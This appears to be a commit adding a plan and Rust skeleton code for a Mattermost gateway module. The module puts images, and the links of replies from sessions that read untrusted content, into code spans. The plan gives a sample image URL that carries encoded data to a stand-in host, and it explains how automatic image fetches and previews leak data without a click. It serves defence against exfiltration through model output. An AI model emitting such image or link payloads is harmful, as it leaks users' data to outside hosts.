M5b plan: task 10, gatewayd posts images and untrusted links as code

Task 10 (spec 9, the owner's option C): a new module gatewayd::links with
disarm(text, untrusted) -> Disarmed { text, links }, given as a skeleton
with 16 small todo!() helpers, and deliver posting each answer through
answer_posts: disarm, split_answer, disarm each part again, NOTICE once
at the end of the last post when a link was put in a code span.

Checks, against a reference kept off master:
- Replayed from ref 09 in a scratch worktree with its own target/: the
  task's edits (applied from the task text) plus the given files plus the
  reference bodies are byte-identical to the reference. make gate on
  rustc/clippy 1.98.1: gate: ok, 1081 tests (1058 + 7 + 7 + 9). /tmp
  holds nothing new after the gate.
- Step 2 (E0432 only) and step 3 (6/1, 7, 9 failing, all "not yet
  implemented"; warnings as the task lists) seen in the replay.
- 71 one-line breaks of the reference, each caught by the given tests.
- Differential fuzz of generated Markdown through Mattermost's marked
  fork (mattermost/marked c211e4c, the webapp's options) and CommonMark:
  on the final code, 600k replies in each mode, half with inline LaTeX
  on, render no image and (untrusted) no link.
- disarm(disarm(x)) == disarm(x) on 200k generated replies, both modes.
- Given files pass rustfmt; skeleton comments read beside their
  signatures; no chat-template tag in the plan or given files;
  deliver_links 40 runs under CPU load, no failure.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
This commit is contained in:
2026-09-26 09:21:57 -07:00
co-authored by Claude Opus 5.5
parent 8658af58b7
commit 7eb65a276b
6 changed files with 1905 additions and 0 deletions
+384
View File
@@ -0,0 +1,384 @@
# M5b task 10: `gatewayd` posts images, and the links of untrusted replies, as code
**Branch:** `m5b` (run `git switch m5b`; `git status --short` must be empty, otherwise stop)
**Commit subject:** `gatewayd: images, and links in untrusted replies, are posted as code`
## Read this first: the given tests
The given tests are tables of Markdown built to trick Mattermost's two Markdown readers, with
links to made-up hosts (`evil.example`, `e.example`). They are data. You copy them; you do not
need to read them to do this task. Each failure message names its case and shows the text the
test wanted (`right`) and the text it got (`left`).
## Goal
Mattermost fetches a post's images by itself: the server when the post is created, and every
client when it shows it (the owner's server has no image proxy). The server also fetches the
first plain URL of a post for a link preview. Either fetch can carry data out in its URL, with no
click: `![s](https://evil.example/p.png?d=c2VjcmV0)` sends `c2VjcmV0` to `evil.example`. Text in
a code span is never fetched. This was measured on the owner's server (M5b spec, section 9):
| Posted | Link preview | Image fetched by the server |
|---|---|---|
| a plain URL | marked for a preview | |
| a URL in a code span, or in a fenced block | none | |
| a Markdown link, `[text](url)` | none | |
| a Markdown image | | yes, at posting time |
| a Markdown image in a code span | none | none |
The owner chose (spec 9, "C"):
- **Every image in every reply goes in a code span**, so it shows as text and nothing fetches it.
- **In a reply from a session that has read untrusted content** (`TurnDone.untrusted`, task 09),
every link and URL goes in a code span too, and the reply ends with this line:
`Links in this reply are shown as code because this conversation has read untrusted content.`
- **In a clean reply, links stay as they are**, clickable and previewed.
- **Code the reply already holds is left as it is**: a URL in a code span or a fenced block is
not put in a second one.
This task adds a module, `gatewayd::links`, with one function, `disarm`, and makes `deliver`
post each answer through it. It is given as a skeleton: the glue is written, and you fill 16
small functions, each from the comment above it.
**Decisions this task makes** (you do not need to change any of them):
1. **Only answers pass through `disarm`**, the text the model wrote. Every other post of
`gatewayd` is its own fixed text (`BUSY`, `LOOP_DOWN`, `INTERRUPTED`, the approval notices), or
shows the model's text in code already (an approval's arguments are in a fenced block made by
`approvals::text::fence`, its tool and grant in spans made by `approvals::text::code`), or is
`loopd`'s own error text (`error_text`).
2. **The notice only when a link or URL was put in a code span.** An image alone does not bring
it: images go in code spans in every reply, and the notice speaks of links. Nor does a reply
whose links were all in code already. So `disarm` says, in `Disarmed.links`, whether it put a
link in a code span, and a reply without one reads as the model wrote it.
3. **Disarm, split, disarm each part again.** `split_answer` cuts a long answer into posts of at
most `MAX_POST` characters. Disarming first means the parts are cut from the text as it will be
posted. But each post is rendered on its own: a cut inside a fenced block leaves the rest of
the block as prose in the next post, where an image would be live. So each part is disarmed
again. The second pass changes nothing else: the given tests check that `disarm` of its own
output is that output. The notice goes once, after an empty line, at the end of the last post.
### Two readers, and why the rules are many
Two programs read a post's Markdown. The server (Go) follows CommonMark; it finds the images it
fetches and the URL it previews. The clients (web and desktop) render the post with a fork of
the JavaScript library marked (`mattermost/marked`, commit `c211e4c`), whose rules differ from
CommonMark in places: an unclosed fence is code only at times; `\r` ends a line; emphasis
(`**`), an HTML tag, inline LaTeX (`$…$`), a link, an autolink or a URL can take a backtick that
CommonMark would read as the start of a code span. A code span `disarm` trusts must be code to
both. So `disarm` leaves text alone only where both readers see code, and treats everything else
as prose: an image in it goes in a code span, even if one reader would have shown it as code
already. The worst that does is show a few backticks; it never leaves an image live.
Each rule is one small function, and each has cases in the given tests:
| Rule | Function | Tests |
|---|---|---|
| A fenced block is code only if both read it so: opened by 3 or more backticks or `~` after at most 3 spaces, with no backtick, `~` or `\|` after them; closed by a later line; no line between indented less than the opener; not continuing a list item or quote; no line before it starting with an HTML tag | `opener`, `closes`, `fence_end`, `nested_start`, `html_start` (and `disarm`, given) | `links_marked`: fences |
| A line ends at `\n`, `\r`, `\r\n` or U+2424; an empty line ends a paragraph, a line of spaces does not | `lines` and `Out::prose` (given) | `links_marked`: lines |
| A code span is code only if both read it so: its closing run on the same line, no `\|` inside, no backtick run whose length is a hazard, nothing that could close an emphasis, tag or LaTeX opened before it | `span_len`, `Seen::plain` | `links_marked`: spans, steals |
| A backslash escapes the next character if marked would | `escape_len` | `links`: images |
| Images: `![alt](url)`, with a size or title, `![alt][ref]`, `![alt][]`, `![ref]`, and a `![` with no `]` | `construct_len`, `bracket_end`, `paren_end` | `links`: images |
| Links (untrusted): `[text](url)`, `[text][ref]`, autolinks `<…>`, definitions `[ref]: url`, URLs with a scheme, `www.`, or a domain and a `/` | `construct_len`, `autolink_len`, `definition`, `url_len` (and `url_start`, given) | `links`: links |
| A new code span splits at line ends, `\|`, backticks, and closers seen before it; its runs are longer than any in the reply; it never touches a backtick, a backslash or a URL | `Out::wrap`, `Out::code` | `links`: ticks, images |
## Every place the answer is posted
| Place | What happens there |
|---|---|
| `crates/gatewayd/src/deliver.rs`, `one_turn` | reads `TurnDone.untrusted` into `Outcome::Answer` (edit D3) |
| `crates/gatewayd/src/deliver.rs`, `deliver` | posts `answer_posts` instead of `split_answer` (edit D5) |
| `crates/gatewayd/src/serve/handle.rs`, `start` | calls `deliver`; no change |
| `Outcome::Answer` anywhere else | nowhere: no other file names it |
## Files
- Copy, from `docs/plans/M5b/files/` (the same path under it):
- the skeletons `crates/gatewayd/src/links/mod.rs` (you fill 7 functions) and
`crates/gatewayd/src/links/inline.rs` (you fill 9)
- tests: `crates/gatewayd/tests/links.rs`, `crates/gatewayd/tests/links_marked.rs`,
`crates/gatewayd/tests/deliver_links.rs`
- Modify: `crates/gatewayd/src/lib.rs` (edit L1), `crates/gatewayd/src/deliver.rs` (edits D1 to
D5), `docs/implementer-log.md`.
- Do not touch: any other source file, any `Cargo.toml`, the tests in
`crates/gatewayd/tests/support/`, and in the skeletons anything but the 16 `todo!()` bodies.
## Facts you need
- **Offsets are bytes.** Every offset and length in the module is in bytes of UTF-8, and every
slice is taken with `str::get` (`text.get(a..b)`), which gives `None` instead of panicking.
Never write `text[a..b]`. The characters the rules look for (backticks, brackets, `<`, `|`,
`\`, `$`, spaces) are all one byte, so the offset right after one of them is always a
character boundary; for any other character use `c.len_utf8()`.
- **The skeleton's given code**, which you call and must not change:
| Name | What it is |
|---|---|
| `BREAKS` | `[char; 3]`: `'\n'`, `'\r'`, `'\u{2424}'`; `text.contains(BREAKS)`, `BREAKS.contains(&c)` |
| `content(line)` | `fn content(line: &str) -> &str`: the line without its line end |
| `runs(text)` | `fn runs(text: &str) -> Vec<(usize, usize)>`: each backtick run as (byte offset, length) |
| `Out` | `text: String` (what is written so far), `ticks: usize`, `links: bool` |
| `Seen` | `hazards: Vec<usize>` (run lengths), `closers: Vec<char>` |
| `closing(text, run)` | `fn closing(text: &str, run: usize) -> Option<usize>`: offset of the first run of exactly `run` backticks |
| `window(text)` | `fn window(text: &str) -> &str`: at most the first `WINDOW` (2048) characters |
| `reference_end(text)` | `fn reference_end(text: &str) -> Option<usize>`: `text` starts with `[`; offset of the `]` closing it, or `None` |
| `ESCAPABLE`, `TRAILING` | `&str` of the characters marked escapes; `[char; 11]` a URL loses at its end |
- **The functions you fill, in the order to fill them**, with who calls them:
| Function | Signature | Called by |
|---|---|---|
| `html_start` | `fn html_start(line: &str) -> bool` | `disarm` |
| `nested_start` | `fn nested_start(line: &str) -> bool` | `disarm` |
| `opener` | `fn opener(line: &str) -> Option<(usize, &str)>` | `fence_end` |
| `closes` | `fn closes(line: &str, run: &str) -> bool` | `fence_end` |
| `fence_end` | `fn fence_end(lines: &[&str], at: usize) -> Option<usize>` | `disarm` |
| `Out::code` | `fn code(&mut self, piece: &str)` | `Out::wrap` |
| `Out::wrap` | `fn wrap(&mut self, construct: &str, after: &str, closers: &[char])` | `Out::image` |
| `Seen::plain` | `fn plain(&mut self, c: char)` | `Out::paragraph`, `Out::construct` |
| `escape_len` | `fn escape_len(rest: &str) -> Option<usize>` | `Out::token` |
| `paren_end` | `fn paren_end(text: &str) -> Option<usize>` | `construct_len` |
| `bracket_end` | `fn bracket_end(text: &str, code: bool) -> Option<usize>` | `construct_len` |
| `construct_len` | `fn construct_len(text: &str, bare: bool) -> Option<usize>` | `Out::token`, `Out::bracket` |
| `span_len` | `fn span_len(rest: &str, seen: &Seen) -> Option<usize>` | `Out::backticks` |
| `autolink_len` | `fn autolink_len(rest: &str) -> Option<usize>` | `Out::autolink` |
| `definition` | `fn definition(rest: &str) -> bool` | `Out::token` |
| `url_len` | `fn url_len(rest: &str, whole: bool) -> usize` | `Out::url` |
- **The calls the bodies need**, all in the standard library or given:
| Call | Signature, and what it gives |
|---|---|
| `str::get` | `text.get(a..)`, `text.get(..b)`, `text.get(a..b)` → `Option<&str>`; `None` off a character boundary or past the end |
| `str::chars`, `char_indices` | `text.chars().next()` → `Option<char>`; `text.char_indices()` yields `(byte offset, char)` |
| `Iterator::take_while`, `count` | `rest.chars().take_while(\|&c\| c == '`').count()`: the length of the run `rest` starts with |
| `Iterator::enumerate`, `skip`, `any`, `all` | `lines.iter().enumerate().skip(at + 1)`; `pairs.any(\|p\| …)`; `chars.all(\|c\| …)` |
| `matches!` | `matches!(first, Some('>' \| '-' \| '*' \| '+' \| '0'..='9'))`: whether `first` fits the pattern |
| `str::trim_start`, `trim`, `trim_start_matches`, `trim_end_matches` | `text.trim_start_matches(' ')`, `.trim_start_matches([' ', '\u{a0}'])`, `.trim_start_matches(\|c: char\| c.is_whitespace() \|\| ">-*+.)".contains(c))`, `.trim_end_matches(TRAILING)` |
| `str::strip_prefix` | `rest.strip_prefix(run)`, `.strip_prefix('[')` → `Option<&str>`, the text after it |
| `str::find`, `contains`, `starts_with`, `ends_with` | `rest.find('>')`, `rest.find(BREAKS)` → `Option<usize>`; `text.contains(['`', '~', '\|'])`, `content.contains(seen.closers.as_slice())`; `self.text.ends_with(\|c: char\| !c.is_whitespace())` |
| `str::chars().count()` | the number of characters (not bytes) |
| `str::eq_ignore_ascii_case` | `w.eq_ignore_ascii_case("www")` |
| `str::repeat`, `String::push`, `push_str` | `"`".repeat(self.ticks)`; `self.text.push('\\')`; `self.text.push_str(piece)` |
| `char` tests | `c.is_whitespace()`, `c.is_ascii_alphabetic()`, `c.is_ascii_digit()`, `c.len_utf8()` |
| `Option` | `.filter(\|c\| …)`, `.and_then(f)`, `.or_else(\|\| …)`, `.is_some_and(f)`, `.is_none_or(f)`, `.unwrap_or(x)`, `.unwrap_or_default()`; `bool::then_some(x)` → `Some(x)` if true |
| `usize::saturating_sub` | `depth.saturating_sub(1)`: never below 0 |
| `Vec::contains`, `push` | `self.closers.contains(&c)`, `seen.hazards.contains(&run)` |
- **The skeleton compiles as given**, with warnings for the unfilled functions: unused variables;
functions, a method and constants never used (`closing`, `reference_end`, `Out::code`,
`ESCAPABLE`, `TRAILING` and the like); and the field `ticks` never read. They go as you fill the
bodies.
- Until every body is filled, any call to `disarm` panics with `not yet implemented`. From step 3
to step 5, run only the three new test files: the other `gatewayd` tests now post answers
through `disarm` too.
## The edits, exactly
Nothing else in these files changes. Each quoted "before" block occurs exactly once in its file.
### `crates/gatewayd/src/lib.rs`
**L1.** The line
```rust
pub mod http;
```
becomes
```rust
pub mod http;
pub mod links;
```
### `crates/gatewayd/src/deliver.rs`
**D1.** The lines
```rust
use crate::mm::MmError;
use crate::mm::rest::Client;
```
become
```rust
use crate::links::{NOTICE, disarm};
use crate::mm::MmError;
use crate::mm::rest::Client;
```
**D2.** The line
```rust
Answer(String),
```
becomes
```rust
/// The reply, and whether its session has read untrusted content.
Answer {
content: String,
untrusted: bool,
},
```
**D3.** In `one_turn`, the lines
```rust
// 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone)
// -> Answer with its content; (1, final, Error) -> Refused; a read error -> LoopDown("the
// turn ended early: <e>"); anything else -> LoopDown("an unexpected frame").
```
become
```rust
// 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone)
// -> Answer with its content and untrusted; (1, final, Error) -> Refused; a read error ->
// LoopDown("the turn ended early: <e>"); anything else -> LoopDown("an unexpected frame").
```
and further down in `one_turn`, the line
```rust
(true, Message::TurnDone(d)) => return Outcome::Answer(d.content.clone()),
```
becomes
```rust
(true, Message::TurnDone(d)) => {
return Outcome::Answer {
content: d.content.clone(),
untrusted: d.untrusted,
};
}
```
**D4.** The lines
```rust
/// Send one turn and read it to its end; `on_event` sees every event.
```
become
```rust
/// The posts of a reply: disarmed (M5b spec, section 9), then cut by `split_answer`. Each part is
/// disarmed again: a cut inside a fenced block leaves the rest of it as prose in the next post.
/// The last post ends with `NOTICE` if either pass put a link in a code span.
pub fn answer_posts(content: &str, untrusted: bool) -> Vec<String> {
let whole = disarm(content, untrusted);
let mut links = whole.links;
let mut posts = Vec::new();
for part in split_answer(&whole.text) {
let again = disarm(&part, untrusted);
links = links || again.links;
posts.push(again.text);
}
if links && let Some(last) = posts.last_mut() {
last.push_str("\n\n");
last.push_str(NOTICE);
}
posts
}
/// Send one turn and read it to its end; `on_event` sees every event.
```
**D5.** In `deliver`, the line
```rust
// Answer -> every part of `split_answer`, in order; Refused -> `error_text`;
```
becomes
```rust
// Answer -> every post of `answer_posts`, in order; Refused -> `error_text`;
```
and the lines
```rust
Outcome::Answer(content) => {
for part in split_answer(&content) {
```
become
```rust
Outcome::Answer { content, untrusted } => {
for part in answer_posts(&content, untrusted) {
```
## Steps
- [ ] **1. Copy the given tests.** From the repository root, three commands:
```sh
cp docs/plans/M5b/files/crates/gatewayd/tests/links.rs crates/gatewayd/tests/
cp docs/plans/M5b/files/crates/gatewayd/tests/links_marked.rs crates/gatewayd/tests/
cp docs/plans/M5b/files/crates/gatewayd/tests/deliver_links.rs crates/gatewayd/tests/
```
- [ ] **2. See them fail.** `cargo test -p gatewayd --test links --test links_marked --test
deliver_links --no-fail-fast`: none compiles. Every error is `E0432`, an unresolved import:
`gatewayd::links` in all three, and `answer_posts` in `deliver_links` as well.
- [ ] **3. The module and the edits.** Copy the two skeletons, then make edits L1 and D1 to D5:
```sh
mkdir -p crates/gatewayd/src/links
cp docs/plans/M5b/files/crates/gatewayd/src/links/mod.rs crates/gatewayd/src/links/
cp docs/plans/M5b/files/crates/gatewayd/src/links/inline.rs crates/gatewayd/src/links/
```
`cargo check -p gatewayd`: no error, only the warnings "Facts you need" describes. The command
of step 2 now compiles; `links` has 6 failing tests and 1 passing (`the_notice_is_one_line`),
`links_marked` 7 failing, `deliver_links` 9 failing, and every failure is
`not yet implemented`.
- [ ] **4. Fill the seven functions of `mod.rs`, one at a time, in this order**, each from its
comment, and run `cargo check -p gatewayd` after each: `html_start`, `nested_start`, `opener`,
`closes`, `fence_end`, `Out::code`, `Out::wrap`.
- [ ] **5. Fill the nine functions of `inline.rs`, one at a time, in this order**, each from its
comment, and run `cargo check -p gatewayd` after each: `Seen::plain`, `escape_len`,
`paren_end`, `bracket_end`, `construct_len`, `span_len`, `autolink_len`, `definition`,
`url_len`. Change nothing else in either file.
- [ ] **6. See them pass.** The command of step 2: `links` 7 passed, `links_marked` 7 passed,
`deliver_links` 9 passed. Then `cargo test -p gatewayd`: every suite passes.
- [ ] **7. Run the gate.** `cargo fmt --all`, then `make gate`, with a shell timeout of 600000 ms.
Expected last line: `gate: ok`, with 1081 tests: 1058 before this task, plus 7 in `links.rs`, 7
in `links_marked.rs` and 9 in `deliver_links.rs`.
- [ ] **8. Log and commit.** `git status --short` lists `crates/gatewayd/src/lib.rs` and
`crates/gatewayd/src/deliver.rs` as modified, and `crates/gatewayd/src/links/` and the three
test files as new, besides your log. Stage with
`git add crates/gatewayd docs/implementer-log.md Cargo.lock`, then commit as `AGENTS.md` says.
`Cargo.lock` does not change in this task; the `git add` is harmless.
## Done when
- `make gate` prints `gate: ok` with 1081 tests.
- `git diff HEAD~1 --stat` lists only `crates/gatewayd/src/lib.rs`,
`crates/gatewayd/src/deliver.rs`, the two files under `crates/gatewayd/src/links/`, the three
new test files and `docs/implementer-log.md`.
## Stop and report if
- A "before" block of L1 or D1 to D5 is not in its file exactly as shown, or is there more than
once.
- Step 2 or 3 shows a different result: other errors, other failing tests, or other counts.
- `cargo check -p gatewayd` reports an error after a body you filled, and the comment does not
tell you how to fix it. Quote the error and the comment, and stop.
- A comment in a skeleton does not fit the code under it, or two comments contradict each other.
Quote them and stop.
- After step 6 a test fails although each function follows its comment. Do not change a test, a
table or the given code of the skeletons: stop, and give the failing tests' names and their
messages.
- The fix seems to need a change anywhere else: in `bxcore`, another file of `gatewayd`, or a
`Cargo.toml`. It does not; stop and say why you think so.
- A test outside `gatewayd` fails in the gate: check once whether it fails without your change,
then stop and report both results.
- The gate passes with a count other than 1081.
@@ -0,0 +1,337 @@
//! One paragraph of prose: code spans, escapes, images, links and URLs, left to right.
use super::{BREAKS, Out, runs};
/// What marked lets a backslash escape. Other characters after a backslash are plain text.
const ESCAPABLE: &str = "\\`*{}[]()#+-.!_>|~";
/// What a URL loses at its end: marked leaves these out of a link when they end it.
const TRAILING: [char; 11] = ['.', ',', ':', ';', '!', '?', '*', '_', '~', '\'', '"'];
/// How many characters a search for the end of a construct looks at, so that a reply full of
/// brackets costs time in proportion to its length. An image longer than this still has its `![`
/// put in a code span; a link longer than this keeps only its URL in one.
const WINDOW: usize = 2048;
/// What a paragraph has shown so far that changes how its later code spans may pair.
#[derive(Default)]
struct Seen {
/// Backtick run lengths that may pair differently in the two parsers from here on.
hazards: Vec<usize>,
/// What would close what a plain character opened: marked lets emphasis (`*`, `_`, `~`), a
/// tag (`<`) and inline LaTeX (`$`) take a backtick before a code span starts.
closers: Vec<char>,
}
impl Seen {
/// Add to `hazards`, once each, every length from 1 to that of each backtick run in `text`:
/// marked may read part of a run as part of a URL, and the rest as a run of its own.
fn runs(&mut self, text: &str) {
for (_, len) in runs(text) {
for part in 1..=len {
if !self.hazards.contains(&part) {
self.hazards.push(part);
}
}
}
}
/// A plain character: `*`, `_`, `~` and `$` are their own closers, and `<` is closed by `>`;
/// push the closer onto `closers` if it is not there yet. Any other character: nothing.
fn plain(&mut self, c: char) {
todo!()
}
}
impl Out {
/// Write `para` with its images, and when `untrusted` its links and URLs, in code spans.
pub(super) fn paragraph(&mut self, para: &str, untrusted: bool) {
let mut seen = Seen::default();
let mut prev = None;
let mut at = 0;
while let Some(rest) = para.get(at..).filter(|rest| !rest.is_empty()) {
let line_start = at == 0 || para.get(..at).is_some_and(|done| done.ends_with(BREAKS));
match self.token(rest, prev, line_start, untrusted, &mut seen) {
Some(used) if used > 0 => {
at += used;
prev = None;
}
_ => {
let c = rest.chars().next().unwrap_or_default();
self.text.push(c);
seen.plain(c);
at += c.len_utf8();
prev = Some(c);
}
}
}
}
/// Write the token `rest` starts with and give its length in bytes, or `None` when `rest`
/// starts with a plain character, which the caller writes. `prev` is the plain character
/// before, `None` after a token or at the start.
fn token(
&mut self,
rest: &str,
prev: Option<char>,
line_start: bool,
untrusted: bool,
seen: &mut Seen,
) -> Option<usize> {
if untrusted && line_start && definition(rest) {
let end = rest.find(BREAKS).unwrap_or(rest.len());
return Some(self.link(rest, end, seen));
}
match rest.chars().next()? {
'\\' => escape_len(rest).map(|len| self.copy(rest, len)),
'`' => Some(self.backticks(rest, seen)),
'!' if rest.starts_with("![") => {
// No `]` in reach: the `![` alone is enough to stop the image.
let len = construct_len(rest.get(1..)?, true).unwrap_or(1);
Some(self.image(rest, len + 1, seen))
}
'[' => self.bracket(rest, untrusted, seen),
'<' => self.autolink(rest, untrusted, seen),
_ if url_start(rest, prev) => self.url(rest, untrusted, seen),
_ => None,
}
}
/// A run of backticks: a code span both parsers read as code is written as it is; any other
/// run is written as plain text, and its length becomes a hazard.
fn backticks(&mut self, rest: &str, seen: &mut Seen) -> usize {
if let Some(len) = span_len(rest, seen) {
return self.copy(rest, len);
}
let run = rest.chars().take_while(|&c| c == '`').count();
seen.runs(rest.get(..run).unwrap_or_default());
self.copy(rest, run)
}
/// A `[` that starts a link, `[text](…)` or `[text][…]`: see `construct`. Any other `[` is
/// written escaped if `](` follows within `WINDOW`: marked may still read a link from it, with
/// a label that takes in new code spans.
fn bracket(&mut self, rest: &str, untrusted: bool, seen: &mut Seen) -> Option<usize> {
let Some(len) = construct_len(rest, false) else {
if !window(rest).contains("](") {
return None;
}
self.text.push_str("\\[");
return Some(1);
};
self.construct(rest, len, untrusted, seen)
}
/// A `<` that starts an autolink: see `construct`.
fn autolink(&mut self, rest: &str, untrusted: bool, seen: &mut Seen) -> Option<usize> {
let len = autolink_len(rest)?;
self.construct(rest, len, untrusted, seen)
}
/// A URL: see `construct`. In a clean reply it is the most marked may read as the URL
/// (`url_len` with `whole`), backticks included, since marked reads them as part of it.
fn url(&mut self, rest: &str, untrusted: bool, seen: &mut Seen) -> Option<usize> {
let len = url_len(rest, !untrusted);
self.construct(rest, len, untrusted, seen)
}
/// The first `len` bytes of `rest`, a link, go in code spans when `untrusted`, and also in a
/// clean reply when they hold `![` (CommonMark may read the image where marked reads a link).
/// Otherwise they are written as they are. Marked may end the link sooner than this, so its
/// backtick runs become hazards, and each of its characters counts as `Seen::plain`.
fn construct(
&mut self,
rest: &str,
len: usize,
untrusted: bool,
seen: &mut Seen,
) -> Option<usize> {
let construct = rest.get(..len)?;
if untrusted {
return Some(self.link(rest, len, seen));
}
if construct.contains("![") {
return Some(self.image(rest, len, seen));
}
seen.runs(construct);
construct.chars().for_each(|c| seen.plain(c));
Some(self.copy(rest, len))
}
fn copy(&mut self, rest: &str, len: usize) -> usize {
self.text.push_str(rest.get(..len).unwrap_or_default());
len
}
fn image(&mut self, rest: &str, len: usize, seen: &Seen) -> usize {
self.wrap(
rest.get(..len).unwrap_or_default(),
rest.get(len..).unwrap_or_default(),
&seen.closers,
);
len
}
fn link(&mut self, rest: &str, len: usize, seen: &Seen) -> usize {
self.links = true;
self.image(rest, len, seen)
}
}
/// `rest` starts with a backslash: `Some(2)` if the next character is one of `ESCAPABLE`, else
/// `None` (the backslash is plain).
fn escape_len(rest: &str) -> Option<usize> {
todo!()
}
/// `rest` starts with a run of `run` backticks. The span's length, `run + close + run`, if both
/// parsers read it as code: `run` is not in `seen.hazards`; `closing(after, run)` gives `close`
/// in the text `after` the run; and the content between holds no line end (`BREAKS`), no `|`,
/// none of `seen.closers`, and no run (`runs`) whose length is in `seen.hazards`.
fn span_len(rest: &str, seen: &Seen) -> Option<usize> {
todo!()
}
/// The byte offset in `text` of the first run of exactly `run` backticks, if there is one.
fn closing(text: &str, run: usize) -> Option<usize> {
let mut start = 0;
let mut len = 0;
for (i, c) in text.char_indices() {
if c == '`' {
if len == 0 {
start = i;
}
len += 1;
} else if len > 0 {
if len == run {
return Some(start);
}
len = 0;
}
}
(len == run).then_some(start)
}
/// At most the first `WINDOW` characters of `text`.
fn window(text: &str) -> &str {
match text.char_indices().nth(WINDOW) {
Some((end, _)) => text.get(..end).unwrap_or(text),
None => text,
}
}
/// `text` starts with `[`; only `window(text)` is looked at. The label ends at
/// `bracket_end(text, true)`, or if that is `None`, `bracket_end(text, false)`. Right after it: a
/// `(` closed by `paren_end` gives the length through that `)`; or else, after white space
/// (`trim_start`), a `[` closed by `reference_end` gives it through that `]`; or else, only when
/// `bare` (an image may be `![alt]`), through the label's `]`. `None` if nothing fits.
fn construct_len(text: &str, bare: bool) -> Option<usize> {
todo!()
}
/// `text` starts with `[`: the byte offset of the `]` that closes it. Walk it counting `[` up and
/// `]` down (to 0: found), skipping the character after each backslash. When `code`, a backtick
/// run jumps past the next run of the same length (`closing`), as a CommonMark code span; a run
/// with none is skipped as plain. `None` if no `]` closes it.
fn bracket_end(text: &str, code: bool) -> Option<usize> {
todo!()
}
/// `text` starts with `(`: the byte offset of the `)` that closes it, counting `(` up and `)` down
/// (to 0: found). A backslash escapes nothing here, as in marked's link destinations. `None` if
/// no `)` closes it.
fn paren_end(text: &str) -> Option<usize> {
todo!()
}
/// `text` starts with `[`: the byte index of the next `]`, skipping the character after each
/// backslash, if no `[` comes first (a reference label does not nest). `None` otherwise, and when
/// `text` does not start with `[`.
fn reference_end(text: &str) -> Option<usize> {
let mut chars = text.strip_prefix('[')?.char_indices();
while let Some((i, c)) = chars.next() {
match c {
'\\' => {
chars.next();
}
'[' => return None,
']' => return Some(i + 1),
_ => {}
}
}
None
}
/// `rest` starts with `<`: the length of the autolink it starts, `<` through the first `>` in
/// `window(rest)`, if the text between is not empty, holds no space, tab or no-break space (a line
/// end is allowed, as in marked), and holds `:` or `@` or starts with `www` in any case.
fn autolink_len(rest: &str) -> Option<usize> {
todo!()
}
/// Whether the line `rest` starts (up to the first of `BREAKS`) is a link reference definition:
/// after white space (`trim_start`), `[`, then a label of at least one character with no `]` in
/// it, then `]:`.
fn definition(rest: &str) -> bool {
todo!()
}
/// Whether a URL starts at `rest`, after the plain character `prev`: a `scheme` or `www` where
/// `prev` is not an ASCII letter or digit, or a `scheme_less` domain where `prev` is not a
/// letter, digit, `.` or `-`. `prev` is `None` at the start and after a token.
fn url_start(rest: &str, prev: Option<char>) -> bool {
let word = prev.is_none_or(|p| !p.is_ascii_alphanumeric());
let run = prev.is_none_or(|p| !(p.is_alphanumeric() || p == '.' || p == '-'));
(word && (scheme(rest) || www(rest))) || (run && scheme_less(rest))
}
/// Whether `rest` starts with a scheme: an ASCII letter, then ASCII letters, digits, `+`, `.`
/// or `-`, then `:` and a `/`, `%`, or letter or digit of any script.
fn scheme(rest: &str) -> bool {
rest.starts_with(|c: char| c.is_ascii_alphabetic())
&& rest
.trim_start_matches(|c: char| c.is_ascii_alphanumeric() || matches!(c, '+' | '.' | '-'))
.strip_prefix(':')
.and_then(|after| after.chars().next())
.is_some_and(|c| c == '/' || c == '%' || c.is_alphanumeric())
}
/// Whether `rest` starts with `www` in any case, then ASCII digits (none or more), then `.` and a
/// character that is not white space.
fn www(rest: &str) -> bool {
rest.get(..3).is_some_and(|w| w.eq_ignore_ascii_case("www"))
&& rest
.get(3..)
.unwrap_or_default()
.trim_start_matches(|c: char| c.is_ascii_digit())
.strip_prefix('.')
.and_then(|after| after.chars().next())
.is_some_and(|c| !c.is_whitespace())
}
/// Whether `rest` starts with a domain and a `/` (marked links `example.com/x` bare): a run of
/// letters, digits, `.` and `-`, whose part after its last `.` is 2 to 4 letters with something
/// before it, then `/`.
fn scheme_less(rest: &str) -> bool {
let end = rest
.find(|c: char| !(c.is_alphanumeric() || c == '.' || c == '-'))
.unwrap_or(rest.len());
let (Some(host), Some(after)) = (rest.get(..end), rest.get(end..)) else {
return false;
};
let Some((name, tld)) = host.rsplit_once('.') else {
return false;
};
after.starts_with('/')
&& !name.is_empty()
&& (2..=4).contains(&tld.chars().count())
&& tld.chars().all(char::is_alphabetic)
}
/// The length of the URL `rest` starts with: up to white space, a `)` that closes no `(` of the
/// URL (count them), or a `<` before white space, `(`, `)`, `<`, `>` or the end (marked leaves it
/// out: it may start an autolink); unless `whole`, up to any `<`, `>`, `|` or backtick too. Then
/// less the characters of `TRAILING` at its end. `whole` is the most marked may read as the URL.
fn url_len(rest: &str, whole: bool) -> usize {
todo!()
}
@@ -0,0 +1,194 @@
//! Images and links in a reply (M5b spec, section 9). Mattermost fetches a post's images when it
//! is posted (the server) and when it is shown (each client: the owner's server has no image
//! proxy), and the server previews the first plain URL. Either fetch can carry data out in its
//! URL, with no click. A code span stops both. So `disarm` puts every image in a code span,
//! always, and in a reply from a session that has read untrusted content, every link and URL too.
//!
//! Two parsers read a post: the server's, which follows CommonMark, and the clients' fork of
//! marked (`mattermost/marked`), which has rules of its own. Text is left as it is only where both
//! read it as code. Where they may differ, it is read as prose, and an image or URL in it goes in
//! a code span: the reply may show a few backticks, but nothing in it is fetched. The rules are
//! in the functions below, each with the case it covers.
//!
//! Not covered, both in marked alone and both only a link, which needs a click: a link label may
//! pair backtick runs of different lengths across new code spans, and an autolink may run across
//! the lines of a quote or list item.
mod inline;
/// The line that ends a reply whose links were put in code spans.
pub const NOTICE: &str =
"Links in this reply are shown as code because this conversation has read untrusted content.";
/// The characters that end a line: marked reads `\r` and U+2424 as line feeds, and `\r\n` is one.
const BREAKS: [char; 3] = ['\n', '\r', '\u{2424}'];
/// A reply after `disarm`: its text, and whether a link or URL was put in a code span.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Disarmed {
pub text: String,
pub links: bool,
}
/// The text being written, and the length of the backtick runs its new code spans use: longer
/// than any run in the reply, so a new span pairs with nothing the reply already holds.
struct Out {
text: String,
ticks: usize,
links: bool,
}
